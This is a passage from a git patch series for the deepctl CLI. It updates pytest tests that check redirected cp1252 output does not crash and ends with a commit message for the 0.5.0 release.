 def test_closed_stream_is_skipped(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("cp1252")
     out.close()
     monkeypatch.setattr(sys, "stdout", out)
-    dg_main.safe_output_streams()
+    safe_output_streams()
 
 
 @pytest.mark.parametrize(
-    "args", [["--help"], ["ffprobe", "--help"], ["help", "agent-mode"]]
+    "args",
+    [["--help"], ["ffprobe", "--help"], ["help", "agent-mode"], ["--version"]],
 )
 def test_redirected_cp1252_output_does_not_crash(
     tmp_path: Path, args: list[str]
@@ -86,7 +90,7 @@ def test_redirected_cp1252_output_does_not_crash(
     env = {
         k: v
         for k, v in os.environ.items()
-        if not k.startswith(("DEEPCTL_", "DEEPGRAM_", "PYTHONIO"))
+        if not k.startswith(("DEEPCTL_", "DEEPGRAM_", "PYTHONIO", "PYTHONUTF8"))
     }
     env.update(
         HOME=str(tmp_path),
@@ -94,11 +98,12 @@ def test_redirected_cp1252_output_does_not_crash(
         XDG_CACHE_HOME=str(tmp_path / "cache"),
         XDG_STATE_HOME=str(tmp_path / "state"),
         PYTHONIOENCODING="cp1252",
+        PYTHONUTF8="0",
         DEEPCTL_TELEMETRY_DISABLED="1",
         NO_COLOR="1",
     )
     proc = subprocess.run(
-        [sys.executable, "-m", "deepctl", *args],
+        [sys.executable, "-c", "from deepctl.main import main; main()", *args],
         capture_output=True,
         env=env,
         cwd=tmp_path,

From 2e97002839dbec3fa56fa33114579618a08b4775 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:08:58 -0500
Subject: [PATCH 88/88] chore: release 0.5.0

This release adds features and changes defaults that need upgrade notes,
so it is a minor release. With bump-patch-for-minor-pre-major set,
release-please would otherwise propose a patch release.

Release-As: 0.5.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>